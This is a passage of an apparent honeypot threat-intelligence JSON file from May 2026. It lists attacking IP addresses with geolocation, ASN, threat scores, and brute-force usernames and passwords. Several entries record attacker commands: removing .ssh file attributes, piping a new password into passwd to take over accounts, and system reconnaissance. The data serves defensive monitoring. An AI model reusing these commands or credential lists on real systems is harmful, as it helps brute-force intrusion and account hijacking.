        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "199.127.63.58": {
      "attack_count": 186,
      "first_seen": "2026-05-04T20:45:58.858Z",
      "last_seen": "2026-05-30T23:12:35.863Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:45:58.858000+00:00",
        "last_seen_30d": "2026-05-30T23:13:43.788000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 93
      }
    },
    "192.3.226.118": {
      "attack_count": 182,
      "first_seen": "2026-05-25T03:13:33.650Z",
      "last_seen": "2026-05-25T04:33:57.585Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "superv",
        "admin1",
        "chrome",
        "cloud",
        "curl",
        "eder",
        "nagios",
        "samir",
        "tms",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Hh@123456",
        "Lx123456@",
        "P@ssw0rd!!",
        "Password2026",
        "Qwerty123",
        "Sa@123456",
        "Wangsu@2017",
        "eder123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "nagios",
        "qaz123!@#",
        "s0p0rt3",
        "samir123",
        "tms2025",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n3gzMTITlBbKE\\n3gzMTITlBbKE\\n\"|passwd",
        "echo -e \"123456\\n3gzMTITlBbKE\\n3gzMTITlBbKE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:13:33.650000+00:00",
        "last_seen_30d": "2026-05-25T04:35:01.885000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 56
      }
    },
    "150.109.13.254": {
      "attack_count": 179,
      "first_seen": "2026-05-17T03:08:47.382Z",
      "last_seen": "2026-05-17T03:39:55.414Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nasrin",
        "345gs5662d34",
        "demo",
        "dev",
        "gl",
        "kim",
        "openkm",
        "redis",
        "riccardo",
        "runner",
        "selenium",
        "sonarqube",
        "testuser",
        "ubuntu",
        "yskim"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "1234Password",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Ma123456",
        "Password@2024",
        "Qwer!234",
        "Qwerty1234567890",
        "Server123",
        "dev@2023",
        "gl",
        "jimmy",
        "kim",
        "nasrin",
        "openkm",
        "redis",
        "riccardo",
        "selenium"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nasrin\\nuVfYsbrgSe2Y\\nuVfYsbrgSe2Y\\n\"|passwd",
        "echo -e \"nasrin\\nuVfYsbrgSe2Y\\nuVfYsbrgSe2Y\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:08:47.382000+00:00",
        "last_seen_30d": "2026-05-17T03:41:04.370000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 54
      }
    },
    "171.25.158.58": {
      "attack_count": 168,
      "first_seen": "2026-05-06T01:43:14.501Z",
      "last_seen": "2026-05-06T02:28:43.120Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "postgres",
        "test",
        "345gs5662d34",
        "alireza",
        "anne",
        "factorioserver",
        "ftpuser",
        "git",
        "mysql",
        "oracle",
        "tadmin",
        "techuser",
        "test111",
        "testing",
        "upload",
        "user",
        "user7"
      ],
      "passwords_attempted": [
        "123456",
        "test",
        "11111",
        "1111111",
        "11111111",
        "121212",
        "1234",
        "1qaz$2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$word",
        "P@ssw0rd.1",
        "P@ssw0rd22",
        "Password123",
        "Qq@123456",
        "Tech$123",
        "Ubuntu1234",
        "asdf123",
        "candace",
        "dev123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:43:14.501000+00:00",
        "last_seen_30d": "2026-05-06T02:29:44.002000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 70
      }
    },
    "186.233.184.67": {
      "attack_count": 156,
      "first_seen": "2026-05-03T15:08:07.042Z",
      "last_seen": "2026-05-30T18:05:32.029Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 262287,
      "as_org": "Latitude.sh LTDA",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:08:07.042000+00:00",
        "last_seen_30d": "2026-05-30T18:06:39.827000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "107.174.90.23": {
      "attack_count": 138,
      "first_seen": "2026-05-18T22:24:28.776Z",
      "last_seen": "2026-05-30T23:57:44.457Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:24:28.776000+00:00",
        "last_seen_30d": "2026-05-30T23:58:44.968000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "38.242.224.228": {
      "attack_count": 126,
      "first_seen": "2026-05-05T21:12:25.897Z",
      "last_seen": "2026-05-05T21:40:03.197Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:12:25.897000+00:00",
        "last_seen_30d": "2026-05-05T21:41:04.390000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 70
      }
    },
    "129.226.4.94": {
      "attack_count": 119,
      "first_seen": "2026-05-24T14:52:16.563Z",
      "last_seen": "2026-05-24T15:26:32.248Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1111",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "AAAaaa111",
        "Aa168168",
        "Centos@123",
        "Minijer.com",
        "Zxcv1234",
        "ali123",
        "asdf123456",
        "ubuntu"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ali123\\nQbq4KudPe8EJ\\nQbq4KudPe8EJ\\n\"|passwd",
        "echo -e \"ali123\\nQbq4KudPe8EJ\\nQbq4KudPe8EJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:52:16.563000+00:00",
        "last_seen_30d": "2026-05-24T15:27:38.170000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "114.226.84.168": {
      "attack_count": 104,
      "first_seen": "2026-05-23T08:00:28.642Z",
      "last_seen": "2026-05-23T14:00:44.792Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140293,
      "as_org": "CHINATELECOM Jiangsu province Changzhou 5G network",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:00:28.642000+00:00",
        "last_seen_30d": "2026-05-23T14:01:49.791000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 59
      }
    },
    "34.77.34.120": {
      "attack_count": 73,
      "first_seen": "2026-05-25T06:38:51.369Z",
      "last_seen": "2026-05-25T06:39:35.209Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2526",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:38:51.369000+00:00",
        "last_seen_30d": "2026-05-25T06:40:45.340000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "209.90.232.251": {
      "attack_count": 66,
      "first_seen": "2026-05-19T03:42:31.832Z",
      "last_seen": "2026-05-31T13:53:29.407Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tukwila",
      "asn": 23033,
      "as_org": "Wowrack.com",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:42:31.832000+00:00",
        "last_seen_30d": "2026-05-31T13:54:38.476000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 34
      }
    },
    "103.205.17.26": {
      "attack_count": 60,
      "first_seen": "2026-05-14T08:32:28.531Z",
      "last_seen": "2026-05-21T04:39:35.901Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Laos",
      "country_code": "LA",
      "city": null,
      "asn": 213516,
      "as_org": "Dinglu Co., Limited",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:32:28.531000+00:00",
        "last_seen_30d": "2026-05-21T04:40:40.028000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "206.135.170.198": {
      "attack_count": 50,
      "first_seen": "2026-05-22T01:55:30.028Z",
      "last_seen": "2026-05-22T02:00:54.211Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:55:30.028000+00:00",
        "last_seen_30d": "2026-05-22T02:01:59.833000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.33.42": {
      "attack_count": 50,
      "first_seen": "2026-05-03T02:38:37.363Z",
      "last_seen": "2026-05-03T02:44:01.601Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:38:37.363000+00:00",
        "last_seen_30d": "2026-05-03T02:45:07.765000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "130.185.239.222": {
      "attack_count": 42,
      "first_seen": "2026-05-08T04:34:55.607Z",
      "last_seen": "2026-05-16T17:45:35.575Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 32181,
      "as_org": "GigeNET",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:34:55.607000+00:00",
        "last_seen_30d": "2026-05-16T17:46:37.820000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "175.11.133.91": {
      "attack_count": 42,
      "first_seen": "2026-05-19T15:47:48.501Z",
      "last_seen": "2026-05-19T18:00:51.611Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:47:48.501000+00:00",
        "last_seen_30d": "2026-05-19T18:01:59.978000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 21
      }
    },
    "129.232.177.186": {
      "attack_count": 36,
      "first_seen": "2026-05-04T20:12:18.602Z",
      "last_seen": "2026-05-31T08:27:07.308Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 37153,
      "as_org": "xneelo",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:12:18.602000+00:00",
        "last_seen_30d": "2026-05-31T08:28:16.930000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "94.102.49.155": {
      "attack_count": 36,
      "first_seen": "2026-05-03T21:36:29.640Z",
      "last_seen": "2026-05-26T13:01:57.035Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 93.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 30,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T08:31:24+00:00",
        "last_seen_30d": "2026-05-31T23:00:16.117000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Cowrie": 36,
        "Honeytrap": 29,
        "Redishoneypot": 18,
        "Dionaea": 9,
        "ElasticPot": 5
      }
    },
    "176.65.132.117": {
      "attack_count": 35,
      "first_seen": "2026-05-06T09:06:32.291Z",
      "last_seen": "2026-05-15T20:59:59.486Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "debian",
        "router",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345678",
        "123456789",
        "admin!@#",
        "temppwd",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T09:06:32.291000+00:00",
        "last_seen_30d": "2026-05-15T21:01:02.533000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 24,
        "Honeytrap": 2
      }
    },
    "23.251.128.185": {
      "attack_count": 33,
      "first_seen": "2026-05-30T02:48:41.266Z",
      "last_seen": "2026-05-30T02:49:28.320Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:48:41.266000+00:00",
        "last_seen_30d": "2026-05-30T02:50:36.104000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 20
      }
    },
    "182.127.10.224": {
      "attack_count": 30,
      "first_seen": "2026-05-25T15:16:28.908Z",
      "last_seen": "2026-05-25T15:19:43.276Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T15:16:28.908000+00:00",
        "last_seen_30d": "2026-05-25T15:20:46.261000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "94.243.8.216": {
      "attack_count": 28,
      "first_seen": "2026-05-06T19:58:15.352Z",
      "last_seen": "2026-05-06T20:01:22.527Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
